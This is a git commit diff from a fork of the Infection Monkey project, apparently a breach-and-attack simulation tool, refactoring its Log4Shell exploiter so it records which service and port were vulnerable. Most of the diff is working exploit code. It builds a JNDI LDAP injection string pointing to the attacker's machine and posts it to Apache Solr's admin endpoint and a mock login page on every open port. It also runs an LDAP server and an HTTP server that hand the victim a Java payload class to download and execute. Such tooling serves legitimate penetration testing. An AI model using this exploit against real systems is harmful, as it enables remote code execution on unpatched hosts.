forked from p15670423/monkey
Agent: report vulnerable port and service in log4shell
Refactor log4shell.py and related service exploiters to adhere to IExploitableService interface and save which service on which port was vulnerable to log4shell
This commit is contained in:
parent
5ac6d12fe9
commit
09988b0f80
|
@ -2,6 +2,7 @@ import http.client
|
|||
import http.server
|
||||
import logging
|
||||
from threading import Thread
|
||||
from time import sleep
|
||||
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit.log4shell_utils import (
|
||||
|
@ -9,8 +10,8 @@ from infection_monkey.exploit.log4shell_utils import (
|
|||
WINDOWS_EXPLOIT_TEMPLATE_PATH,
|
||||
LDAPExploitServer,
|
||||
build_exploit_bytecode,
|
||||
get_log4shell_service_exploiters,
|
||||
)
|
||||
from infection_monkey.exploit.log4shell_utils.requests import exploits
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
|
@ -33,6 +34,7 @@ class Log4ShellExploiter(WebRCE):
|
|||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||
_EXPLOITED_SERVICE = "Log4j"
|
||||
DOWNLOAD_TIMEOUT = 15
|
||||
REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds
|
||||
|
||||
def __init__(self, host: VictimHost):
|
||||
super().__init__(host)
|
||||
|
@ -67,13 +69,8 @@ class Log4ShellExploiter(WebRCE):
|
|||
ldap_thread = ldap.get_run_thread()
|
||||
ldap_thread.start()
|
||||
|
||||
# Try to exploit all services,
|
||||
# because we don't know which services are running and on which ports
|
||||
open_ports = [
|
||||
port[0] for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
|
||||
]
|
||||
for exploit in exploits:
|
||||
exploit(payload=self.build_ldap_payload(), host=self.host, open_ports=open_ports)
|
||||
self._trigger_exploit()
|
||||
|
||||
http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
||||
|
@ -86,6 +83,26 @@ class Log4ShellExploiter(WebRCE):
|
|||
# If java class was downloaded it means that victim is vulnerable
|
||||
return Log4ShellExploiter.HTTPHandler.class_downloaded
|
||||
|
||||
def _trigger_exploit(self):
|
||||
# Try to exploit all services,
|
||||
# because we don't know which services are running and on which ports
|
||||
open_ports = [
|
||||
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
|
||||
]
|
||||
for exploit in get_log4shell_service_exploiters():
|
||||
for port in open_ports:
|
||||
exploit.trigger_exploit(self.build_ldap_payload(), self.host, port)
|
||||
|
||||
# Wait for request
|
||||
sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME)
|
||||
|
||||
if Log4ShellExploiter.HTTPHandler.class_downloaded:
|
||||
self.exploit_info["vulnerable_service"] = {
|
||||
"service_name": exploit.service_name,
|
||||
"port": port,
|
||||
}
|
||||
return
|
||||
|
||||
def build_ldap_payload(self):
|
||||
interface_ip = get_interface_to_target(self.host.ip_addr)
|
||||
return f"${{jndi:ldap://{interface_ip}:{self.ldap_port}/dn=Exploit}}"
|
||||
|
@ -127,13 +144,13 @@ class Log4ShellExploiter(WebRCE):
|
|||
stop = False
|
||||
|
||||
def do_GET(self):
|
||||
Log4ShellExploiter.HTTPHandler.class_downloaded = True
|
||||
logger.info("Java class servergot a GET request!")
|
||||
self.send_response(200)
|
||||
self.send_header("Content-type", "application/octet-stream")
|
||||
self.end_headers()
|
||||
logger.info("Sending the payload class!")
|
||||
self.wfile.write(self.java_class)
|
||||
Log4ShellExploiter.HTTPHandler.class_downloaded = True
|
||||
|
||||
def _run_class_http_server(self, ip):
|
||||
server = http.server.HTTPServer(
|
||||
|
|
|
@ -5,3 +5,4 @@ from .exploit_builder import (
|
|||
WINDOWS_EXPLOIT_TEMPLATE_PATH,
|
||||
)
|
||||
from .ldap_server import LDAPExploitServer
|
||||
from .service_exploiters import get_log4shell_service_exploiters
|
||||
|
|
|
@ -1,4 +0,0 @@
|
|||
from .poc_docker import trigger_exploit as exploit_poc
|
||||
from .solr import trigger_exploit as exploit_solr
|
||||
|
||||
exploits = [exploit_poc, exploit_solr]
|
|
@ -1,25 +0,0 @@
|
|||
from logging import getLogger
|
||||
from typing import List
|
||||
|
||||
import requests
|
||||
|
||||
from infection_monkey.model import VictimHost
|
||||
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]):
|
||||
urls = build_urls(open_ports, host)
|
||||
payload = {"uname": payload, "password": "m0nk3y"}
|
||||
for url in urls:
|
||||
try:
|
||||
resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
|
||||
except requests.ReadTimeout as e:
|
||||
logger.debug(f"Log4shell request failed {e}")
|
||||
|
||||
|
||||
def build_urls(open_ports: List[int], host: VictimHost) -> List[str]:
|
||||
urls = []
|
||||
for port in open_ports:
|
||||
urls.append(f"http://{host.ip_addr}:{port}/login")
|
||||
return urls
|
|
@ -1,25 +0,0 @@
|
|||
from logging import getLogger
|
||||
from typing import List
|
||||
|
||||
import requests
|
||||
|
||||
from infection_monkey.model import VictimHost
|
||||
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]):
|
||||
urls = build_urls(open_ports, host)
|
||||
payload = {"foo": payload}
|
||||
for url in urls:
|
||||
try:
|
||||
resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
|
||||
except requests.ReadTimeout as e:
|
||||
logger.debug(f"Log4shell request failed {e}")
|
||||
|
||||
|
||||
def build_urls(open_ports: List[int], host: VictimHost) -> List[str]:
|
||||
urls = []
|
||||
for port in open_ports:
|
||||
urls.append(f"http://{host.ip_addr}:{port}/solr/admin/cores")
|
||||
return urls
|
|
@ -0,0 +1,9 @@
|
|||
from typing import List
|
||||
|
||||
from .exploitable_service import IExploitableService
|
||||
from .poc_docker import DockerPOCExploit
|
||||
from .solr import SolrExploit
|
||||
|
||||
|
||||
def get_log4shell_service_exploiters() -> List[IExploitableService]:
|
||||
return [DockerPOCExploit(), SolrExploit()]
|
|
@ -0,0 +1,16 @@
|
|||
import abc
|
||||
|
||||
from infection_monkey.model import VictimHost
|
||||
|
||||
|
||||
class IExploitableService(metaclass=abc.ABCMeta):
|
||||
@property
|
||||
@abc.abstractmethod
|
||||
def service_name(self) -> str:
|
||||
# Should have the name of the exploited service
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
@abc.abstractmethod
|
||||
def trigger_exploit(payload: str, host: VictimHost, port: int):
|
||||
raise NotImplementedError
|
|
@ -0,0 +1,22 @@
|
|||
from logging import getLogger
|
||||
|
||||
import requests
|
||||
|
||||
from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService
|
||||
from infection_monkey.model import VictimHost
|
||||
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
class DockerPOCExploit(IExploitableService):
|
||||
|
||||
service_name = "GoFinance mock application"
|
||||
|
||||
@staticmethod
|
||||
def trigger_exploit(payload: str, host: VictimHost, port: int):
|
||||
url = f"http://{host.ip_addr}:{port}/login"
|
||||
payload = {"uname": payload, "password": "m0nk3y"}
|
||||
try:
|
||||
resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
|
||||
except requests.ReadTimeout as e:
|
||||
logger.debug(f"Log4shell request failed {e}")
|
|
@ -0,0 +1,21 @@
|
|||
from logging import getLogger
|
||||
|
||||
import requests
|
||||
|
||||
from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService
|
||||
from infection_monkey.model import VictimHost
|
||||
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
class SolrExploit(IExploitableService):
|
||||
service_name = "Apache Solr"
|
||||
|
||||
@staticmethod
|
||||
def trigger_exploit(payload: str, host: VictimHost, port: int):
|
||||
url = f"http://{host.ip_addr}:{port}/solr/admin/cores"
|
||||
payload = {"foo": payload}
|
||||
try:
|
||||
resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
|
||||
except requests.ReadTimeout as e:
|
||||
logger.debug(f"Log4shell request failed {e}")
|
Loading…
Reference in New Issue